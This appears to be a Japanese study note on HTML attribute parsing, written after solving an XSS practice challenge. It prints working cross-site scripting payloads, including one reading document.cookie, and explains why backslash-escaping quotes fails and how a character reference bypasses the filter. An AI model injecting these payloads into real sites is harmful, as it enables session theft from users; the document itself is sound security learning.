html属性とXSSの復習
XSS
問を通じて、HTML
の挙動がよく分かってなかったと思ったので、そこをちょろっとまとめ直しておきます。
お題
とあるXSS
問題。
<input type="text" value="" onclick="hoge('「ここに入力文字が入るよ」')" size=20> <input type=submit value="send"><br> <script>function hoge(a){}</script>
「ここに入力文字が入るよ」
の箇所に入力が埋め込まれてレスポンスが返ってくる感じ。ただし、エスケープは以下のようにされます。
「\」→「 \\」 「'」→「 \'」 「"」→「 \"」 「space」→「+」
これに対して私は以下のシグネチャで通った。
"onmouseover=alert(document.cookie);//
最終的に生成されたのはこちら。
<input type=text onclick="hoge('\"onmouseover=alert(1);//')" size=20>
これなんでマウスオーバー動くの。あ、これが自明な方は、得る知識がないと思われるのでブラウザバックで、、、
注意
</>
タグ閉じなどを使えそうですが、今回はそこは見ないフリか追加で対策されているものとしてください、、、
調査
"
のエスケープ
そもそも"
のエスケープが\"
では不十分。属性値を囲っている記号"
は、\
でエスケープしてもその値の終端として解釈される。"
へエスケープすること。
test1(esaape to \") <input type="text" onclick="\" hoge="v" size=20> test2(escape to ") <input type="text" onclick="" hoge="v" size=20>
入力は" hoge="v"
とする。test2
ではv
の手前の"
が属性値の終わりと解釈されている。
属性間のスペースがなくても動作する
例えば、、
<input type="text"name="aa"onclick="hoge('hoge')"size=20>
これでもしっかり動きます。
逆に今回は、入力値にスペースを入れようと(" onmouseover=..
)すると+
にエスケープされ、+mouseover
のような属性はないぞ、とのことになり発火はしないです。なので、今回のシグネチャでは"
とonmouseover
の間はスペースなしが必須となるようです。
文字が続いている限りスクリプト解釈
今回のシグネチャ内のonmouseover=
以降は、"
で囲われていないため、スペースまで(連続文字の箇所)がスクリプトと解釈されるようです。
test3 <input type="text" onclick="hoge('\"onmouseover=alert(1);//')" size=20> <input type=submit value="send"><br> test4 (実際>は入力できなかった) <input type="text" onclick="hoge('\"onmouseover=alert(1)> //')" size=20> <input type=submit value="send"><br> test5 <input type="text" onclick="hoge('\"onmouseover=alert(1); //')" size=20> <input type=submit value="send"><br>
シンタックスハイライトで見えているかと思われますが、test3
とtest4
のonmouseover
の値の範囲が違うと思います。
html
は//
をコメントアウトと解釈しませんが、今回の例test3
では、onmouseover
から文字が連続しているため//
はスクリプト側でコメントアウトと解釈されていました。ですので今回はコメントアウトすることで後ろの入らない文字を消していました。
test4
は無理やりタグを閉じてしまったので、後ろはただの文字として表示されます。
余談
\
(バックスラッシュの意)のような数値文字参照?(っていうんですかね?)を使ったりなども可能。で、下のシグネチャなどもok
\');alert(1);//
この場合、'
が\'
にエスケープされるが、\\'
となるため\
がエスケープ対象となり結果的に\'
と解釈され、hoge
メソッドの引数内をうまく閉じている。